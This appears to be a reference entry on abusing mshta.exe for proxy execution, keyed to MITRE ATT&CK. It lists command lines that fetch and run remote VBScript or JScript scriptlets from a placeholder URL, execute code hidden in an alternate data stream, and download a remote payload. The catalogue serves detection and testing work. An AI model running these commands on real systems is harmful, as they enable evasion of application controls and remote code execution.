Mshta.exe

type: OSBinaries
Used by Windows to execute html applications. (.hta)

Full path

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe

Commands

  1. ExecuteUser T1218.005

    Execute code

    mshta.exe {PATH:.hta}

    Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: HTAExecute: Remote

  2. ExecuteUser T1218.005

    Execute code

    mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

    Executes VBScript supplied as a command line argument.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: VBScript

  3. ExecuteUser T1218.005

    Execute code

    mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

    Executes JavaScript supplied as a command line argument.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: JScript

  4. ADSUser T1218.005

    Execute code hidden in alternate data stream

    mshta.exe "{PATH_ABSOLUTE}:file.hta"

    Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)

    Execute: HTA

  5. DownloadUser T1105

    Downloads payload from remote server

    mshta.exe {REMOTEURL}

    It will download a remote payload and place it in INetCache.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Download: INetCache

Detection

Code samples

Resources

acknowledgement: Casey Smith @subtee, Oddvar Moe @oddvarmoe, Nir Chako (Pentera) @C_h4ck_0